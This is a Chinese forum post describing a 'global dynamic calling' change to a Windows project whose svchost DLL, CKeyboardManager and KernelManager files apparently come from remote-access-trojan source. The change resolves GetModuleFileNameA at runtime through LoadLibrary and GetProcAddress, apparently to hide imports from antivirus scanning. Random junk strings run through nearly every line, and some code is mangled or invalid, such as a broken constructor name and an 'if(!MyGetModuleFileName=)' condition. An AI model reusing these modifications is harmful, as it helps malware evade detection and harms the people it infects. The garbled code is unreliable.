返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
) g' {) R# A' I- q5 osvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
' u  B' ~# B  v' Y9 g5 c----------------------------------------* w" j0 [1 h0 b$ ~
DTDY.h:8 [4 n( b" z  n& \7 @: Z

. l# }4 k/ _, A* l* R7 b, [#if _MSC_VER>1000
/ J- R0 w+ }" D1 ^9 }/ }3 X+ X% x#pragma once
9 o: q8 |7 k3 e' k# j  l- Q; q#endif //_MSC_VER>1000  o9 |* J6 {% x) ^/ H
#include<windows.h>
1 {1 J# x4 R- I+ x4 D
5 \* q9 {$ `+ ?6 h# C$ ]typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& k: ?( d1 ]3 }: v# Zclass DTDY
# I- H1 `" k6 m. b{! t: Z* t8 r& R' V; h' A
public:
5 U. r/ l/ Y3 v! \  n. mDTDY();
3 ]4 O' V! h; E: S) dvirtual ~DTDY();
; V% G& V! Y' D5 G5 |7 l3 ppublic:
* x3 [- a$ Y( N" P, C6 ustatic pGetModuleFileNameA MyGetModuleFileName;9 U5 G* @4 c) G8 {" r1 K0 |# a
static BOOL FunInitiallization();$ k0 A" e2 H+ C- l% M
};
1 ~" {+ }: g" v! j7 J( H#endif9 ]6 ^: E% _0 u: }; p% x7 |
----------------------------------------2 P0 T( \" Q! Z5 z7 C; q0 c

8 w2 _: A# I5 s0 `7 F- Q, e  WDTDY.cpp:
- q1 n2 H: `8 B4 K
5 w: d4 Q7 Z6 A, p3 q#include "DTDY.h", r+ j: y, ?1 M
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
$ a/ N, W! L) h  n# [! q( \2 U; zDTDY:TDY()% s4 z( o# a) H/ D
{; m9 m# F) j/ t) W% S0 L1 z1 U
}
1 h0 g% ~0 I8 h" I* k/ XDTDY::~DTDY()
2 b! z0 h1 s8 [{' u$ F1 O9 _! w  _( T
}
* D2 A! _/ g( I, p! T5 D! \4 ?" FBOOL DTDY::FunInitiallization()+ W1 J2 [. V+ H. @3 `
{6 p" @) R( N' F( X+ x
HMODULE hModule=LoadLibrary("kernel32.dll");6 n# Z) n" N* o8 b& a
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
& o; ^' ~9 d' `  }; b3 z) }" Yif(!MyGetModuleFileName=) return FALSE;$ g; G! _( A& F+ k! [$ D/ I, h
) n1 z! ?" S5 }/ b
return TRUE;
: c& g0 I1 q* k* g3 y}5 m! J# Q* `1 R, O/ ?- s0 Q- E
----------------------------------------9 Y$ ?0 a' v$ h" B% X" y
svchost.cpp:
: [. M' C; F$ h) L! U& X3 v* ~6 v7 m& M
#include "DTDY.h"3 ^3 K# x) f* ]) Y! u0 C4 s

- h$ Z! d0 {) W! ~0 HBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 m: ~/ n2 ~2 d* D- i4 V. D
{8 G6 t! W3 q' z7 d* O4 o' y
switch(ul_reason_for_call)
" E9 `2 B# |5 J) M) {! s6 l{
' J. b; |. i# H0 d, Ecase DLL_PROCESS_ATTACH:
, f" w$ M0 z, N  y; o: pif(!DTDY::FunInitiallization()) return FALSE;
2 B; l5 C" q- a5 \% D
- ^5 V+ @5 P5 P" ~7 Vbreak;
; K. v, ^( ^% O! Z7 S& s1 x}
+ a9 z3 U  e8 c% @7 w}7 L$ V+ W  W2 h% V

  k; H" r- B" d( B: x3 G$ V/ X- ]$ R
- ~9 P3 d0 b( @: QGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
3 v, s$ s! r. v$ U5 c: l$ X改写为, c8 f5 V. Y. H
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
8 T. Y) n0 m' g" r6 s& b( F* Z' R----------------------------------------
. c& z. f, c5 W* GKernelManager.cpp:
5 k3 P" G& p* E7 \9 ^! ^2 c! F1 @; ~5 i
. S  O; m6 b7 `7 `#include "../DTDY.h", m/ P, J. v# |& o! U1 v4 l
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 G/ e( |  p0 C- O0 m- c1 p& L2 B
改写为( X% \% D$ O* `' Y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));( Y. y0 k0 F6 O$ y% F& U
----------------------------------------

返回列表